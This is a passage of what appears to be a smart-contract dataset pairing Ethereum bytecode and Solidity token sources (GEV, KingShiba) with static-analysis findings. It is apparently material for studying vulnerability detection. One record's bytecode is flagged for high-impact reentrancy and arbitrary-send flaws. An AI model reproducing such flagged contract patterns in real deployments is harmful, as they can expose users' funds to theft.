546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a1a573d6000803e3d6000fd5b600c805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061106657611066611688565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e3919061161b565b816001815181106110f6576110f6611688565b6001600160a01b039283166020918202929092010152600b5461111c9130911684610a67565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061115590859060009086903090429060040161171d565b600060405180830381600087803b15801561116f57600080fd5b505af1158015611183573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600081836111b95760405162461bcd60e51b815260040161053391906113ea565b506000610fdb848661178e565b60006111dd60646111d785856112ca565b90610a1e565b905060006111eb8483611349565b6001600160a01b0387166000908152600260205260409020549091506112119085611349565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611240908261138b565b6001600160a01b03861660009081526002602052604080822092909255308152205461126c908361138b565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000826112d957506000610414565b60006112e583856116e7565b9050826112f2858361178e565b14610a605760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610533565b6000610a6083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610faa565b60008061139883856116cf565b905083811015610a605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610533565b600060208083528351808285015260005b81811015611417578581018301518582016040015282016113fb565b81811115611429576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104a457600080fd5b803561145f8161143f565b919050565b6000806040838503121561147757600080fd5b82356114828161143f565b946020939093013593505050565b6000806000606084860312156114a557600080fd5b83356114b08161143f565b925060208401356114c08161143f565b929592945050506040919091013590565b6000602082840312156114e357600080fd5b8135610a608161143f565b60006020828403121561150057600080fd5b5035919050565b6000806040838503121561151a57600080fd5b82356115258161143f565b915060208301356115358161143f565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561156957600080fd5b823567ffffffffffffffff8082111561158157600080fd5b818501915085601f83011261159557600080fd5b8135818111156115a7576115a7611540565b8060051b604051601f19603f830116810181811085821117156115cc576115cc611540565b6040529182528482019250838101850191888311156115ea57600080fd5b938501935b8285101561160f5761160085611454565b845293850193928501926115ef565b98975050505050505050565b60006020828403121561162d57600080fd5b8151610a608161143f565b60006020828403121561164a57600080fd5b81518015158114610a6057600080fd5b60008060006060848603121561166f57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156116c8576116c861169e565b5060010190565b600082198211156116e2576116e261169e565b500190565b60008160001904831182151516156117015761170161169e565b500290565b6000828210156117185761171861169e565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561176d5784516001600160a01b031683529383019391830191600101611748565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826117ab57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208dca0d64a5616905c9c35796a662e9ff53859936b0495dbed6c3e0e5f1a7709364736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,828
0x7a3ba8b9455b0fdb7d1703a3d8d292acf47ead03
/** *Submitted for verification at Etherscan.io on 2021-12-08 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Gotham Etherverse' contract // // Symbol : GEV // Name : Gotham Etherverse // Total supply: 8 000 000 000 // Decimals : 10 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract GEV is BurnableToken { string public constant name = "Gotham Etherverse"; string public constant symbol = "GEV"; uint public constant decimals = 10; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 8000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280601181526020017f476f7468616d204574686572766572736500000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600a81565b600a800a6401dcd650000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f474556000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220db4a7a522406ad45941b2b7119d776a5f4f4fa9c4794b1ccb5f18dfbd3ae8ae364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
4,829
0x8e390f7d5ae560e3a6704671853f7d0f40a16067
/** *Submitted for verification at Etherscan.io on 2021-07-21 /** * https://t.me/KingShiba * * TOKENOMICS: * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 50,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS * No buy or sell token limits. Whales are welcome! * 10% total tax on buy * Fee on sells is dynamic, relative to price impact, minimum of 0% fee and maximum of 40% fee, with NO SELL LIMIT. * No team tokens, no presale * A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork * * */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KingShiba is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"T.me/TheKingShibaToken"; string private constant _symbol = unicode"KingShiba"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); 